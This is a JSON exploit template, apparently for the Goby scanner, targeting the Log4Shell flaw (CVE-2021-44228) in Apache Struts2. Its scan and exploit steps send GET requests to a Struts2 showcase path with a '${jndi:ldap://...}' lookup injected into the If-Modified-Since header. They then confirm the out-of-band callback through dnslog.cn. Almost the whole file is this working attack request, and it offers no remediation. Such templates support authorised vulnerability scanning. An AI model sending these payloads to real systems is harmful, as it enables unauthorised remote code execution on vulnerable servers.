{ "Name": "Struts2 Log4Shell CVE-2021-44228 (2)", "Level": "3", "Tags": [ "rce" ], "GobyQuery": "app=\"Struts2\"", "Description": "Struts2 is a popular and mature web application framework based on the MVC design pattern.", "Product": "Struts2", "Homepage": "https://struts.apache.org/", "Author": "", "Impact": "Some Struts2 files will record If-Modified-Since information, which has a log4j vulnerability.", "Recommendation": "", "References": [ "https://nvd.nist.gov/vuln/detail/CVE-2021-44228", "https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis" ], "HasExp": true, "ExpParams": [ { "Name": "cmd", "Type": "input", "Value": "${jndi:ldap://xxxxdnslog.cn/tes}" } ], "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": [ "AND", { "Request": { "method": "GET", "uri": "http://www.dnslog.cn/getdomain.php", "follow_redirect": false, "header": null, "data_type": "text", "data": "", "set_variable": [] }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" } ] }, "SetVariable": [ "dnstest|lastbody||" ] }, { "Request": { "method": "GET", "uri": "/struts2-showcase/struts/utils.js", "follow_redirect": false, "header": { "If-Modified-Since": "${jndi:ldap://{{{dnstest}}}/tes}" }, "data_type": "text", "data": "", "set_variable": [] }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" } ] }, "SetVariable": [ "output|lastbody|regex|" ] }, { "Request": { "method": "GET", "uri": "http://www.dnslog.cn/getrecords.php", "follow_redirect": false, "header": null, "data_type": "text", "data": "", "set_variable": [] }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "{{{dnstest}}}", "bz": "" } ] }, "SetVariable": [ "output|lastbody|regex|" ] } ], "ExploitSteps": [ "AND", { "Request": { "method": "GET", "uri": "/struts2-showcase/struts/utils.js", "follow_redirect": false, "header": { "If-Modified-Since": "${jndi:ldap://{{{cmd}}}/tes}" }, "data_type": "text", "data": "", "set_variable": [] }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" } ] }, "SetVariable": [ "output|lastbody|regex|" ] } ], "PostTime": "0000-00-00 00:00:00", "GobyVersion": "0.0.0" }